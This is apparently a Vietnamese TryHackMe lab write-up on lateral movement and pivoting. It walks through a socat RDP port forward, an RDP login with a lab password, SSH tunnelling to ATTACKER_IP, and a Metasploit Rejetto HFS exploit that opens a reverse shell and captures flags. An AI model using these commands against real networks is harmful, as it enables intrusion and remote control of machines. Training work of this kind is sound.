za\barbara.taylor@THMJMP2 C:\Users\barbara.taylor>C:\tools\socat\socat.exe TCP4-LISTEN:13377,fork TCP4:THMIIS.za.tryhackme.com:3389

Note

Chúng ta không thể lắng nghe trên port 3389 của host thmjmp2 vì port này đã được sử dụng cho việc truy cập thông qua RDP của chính nó.

Kiểm tra port 13377 ở trên thmjmp2:

root@ip-10-10-73-181:~# nmap -p 13377 THMJMP2.za.tryhackme.com
 
Starting Nmap 7.60 ( https://nmap.org ) at 2024-10-04 17:28 BST
Nmap scan report for THMJMP2.za.tryhackme.com (10.200.78.249)
Host is up (0.0014s latency).
rDNS record for 10.200.78.249: ip-10-200-78-249.eu-west-1.compute.internal
 
PORT      STATE SERVICE
13377/tcp open  unknown

Sau khi thiết lập socat, sử dụng xfreerdp như sau để truy cập vào host thmiis nhằm lấy flag ở Desktop của t1_thomas.moore:

user@AttackBox$ xfreerdp /v:THMJMP2.za.tryhackme.com:13389 /u:t1_thomas.moore /p:MyPazzw3rd2020

Success

THM{SIGHT_BEYOND_SIGHT}

Mục tiêu thứ hai là khai thác một phiên bản có lỗ hổng của Rejetto HFS ở trên host thmdc. Tuy nhiên, port của ứng dụng này chỉ có thể truy cập được bởi host thmjmp2 và các kết nối outbound chỉ được cho phép với các host ở trong mạng nội bộ nên chúng ta không thể chạy các reverse shell một cách thông thường. Tồi tệ hơn, việc khai thác Rejetto HFS yêu cầu chúng ta phải host một web server và việc chặn các kết nối outbound khiến cho server này chỉ có thể chạy ở trên các host trong mạng nội bộ.

Ta cần hiểu luồng hoạt động của việc khai thác:

Đầu tiên, chúng ta cần kết nối đến port của HFS (tham số RPORT trong Metasploit) để tạo ra một kết nối thứ hai. Kết nối thứ hai này sẽ được thiết lập với SRVPORT của attacker machine, vốn là một web server được dùng để cung cấp payload. Cuối cùng, payload sẽ thực thi và gửi reverse shell về LPORT của attacker machine.

Như vậy, chúng ta cần expose SRVPORTLPORT của attacker machine và kết nối đến RPORT của thmdc sử dụng SSH tunneling với pivot host là thmjmp2.

Câu lệnh sử dụng:

ssh tunneluser@ATTACKER_IP -R 8888:thmdc.za.tryhackme.com:80 -L *:1337:127.0.0.1:1337 -L *:1102:127.0.0.1:1102 -N

Thiết lập metasploit như sau:

msf6 exploit(windows/http/rejetto_hfs_exec) > show options
 
Module options (exploit/windows/http/rejetto_hfs_exec):
 
   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               no        Seconds to wait before terminating web server
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      8888             yes       The target port (TCP)
   SRVHOST    127.0.0.1        yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    1337             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The path of the web application
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host
 
 
Payload options (windows/shell_reverse_tcp):
 
   Name      Current Setting           Required  Description
   ----      ---------------           --------  -----------
   EXITFUNC  process                   yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     thmjmp2.za.tryhackme.com  yes       The listen address (an interface may be specified)
   LPORT     1102                      yes       The listen port
 
 
Exploit target:
 
   Id  Name
   --  ----
   0   Automatic

Với:

  • 8888 là port của HFS sau khi chuyển tiếp.
  • 1337 là port của web server ở trên thmjmp2.
  • 1102 là port hứng reverse shell ở trên thmjmp2.

Thực hiện khai thác và ta thu được reverse shell cũng như là lấy được flag:

msf6 exploit(windows/http/rejetto_hfs_exec) > exploit
 
[*] Started reverse TCP handler on 127.0.0.1:1102
[*] Using URL: http://thmjmp2.za.tryhackme.com:1337/6mqQg5aEurbFE
[*] Server started.
[*] Sending a malicious request to /
[*] Payload request received: /6mqQg5aEurbFE
[!] Tried to delete %TEMP%\YymWnRW.vbs, unknown result
[*] Command shell session 3 opened (127.0.0.1:1102 -> 127.0.0.1:50196) at 2024-10-04 19:25:34 +0100
[*] Server stopped.
 
 
Shell Banner:
Microsoft Windows [Version 10.0.17763.1098]
(c) 2018 Microsoft Corporation. All rights reserved.
 
C:\hfs>
C:\hfs>type flag.txt
type flag.txt
THM{FORWARDING_IT_ALL}

Success

THM{FORWARDING_IT_ALL}

list
from outgoing([[Lateral Movement and Pivoting]])
sort file.ctime asc

Resources

Footnotes

  1. xem thêm Tunneling